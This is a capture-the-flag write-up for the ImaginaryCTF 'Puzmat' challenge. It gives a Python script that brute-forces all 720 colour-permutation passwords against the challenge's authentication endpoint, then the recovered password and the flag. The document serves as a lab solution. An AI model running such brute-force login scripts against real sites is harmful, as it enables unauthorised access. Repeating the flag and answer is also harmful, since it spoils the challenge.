Description
I went home for the holidays, and one thing we did together as a family was Puzmat. Like the name implies, it's a series of puzzles on a mat that eventually lead to a password you enter into the webpage below. While we were working on it, I had a sneaking suspicion that we didn't need the mat at all! Can you prove me right?
The flag is the password surrounded by ictf{}
, for example ictf{yellowblueorangegreenredpink}
.
Note: This is a copy of the official Puzmat site. DO NOT attack the official site in any way, shape, or form - stay on puzzler7.imaginaryctf.org:9004.
Attachments
http://puzzler7.imaginaryctf.org:9004/
Writeup
from requests import post
from itertools import permutations
url = 'http://puzzler7.imaginaryctf.org:9004/apps/password-protect/authenticate'
json_data = {"page_id":"61216424102","article_id":"","product_id":"","collection_ids":"","version":"2","password":"aaaa"}
colors = ['yellow', 'blue', 'orange', 'green', 'red', 'pink']
reqs = 0
for combo in permutations(colors):
resp = post(url, json={**json_data, "password": ''.join(combo)})
reqs += 1
if resp.status_code == 200:
print(''.join(combo))
print(reqs, "requests made")
break
if reqs % 5 == 0:
print(reqs, ''.join(combo))
# Password: redpinkorangegreenblueyellow
There are only 720 possible passwords, so you can just brute force through them. The server checks the password by making a post request, and checking if the response code is 200.
Flag
ictf{redpinkorangegreenblueyellow}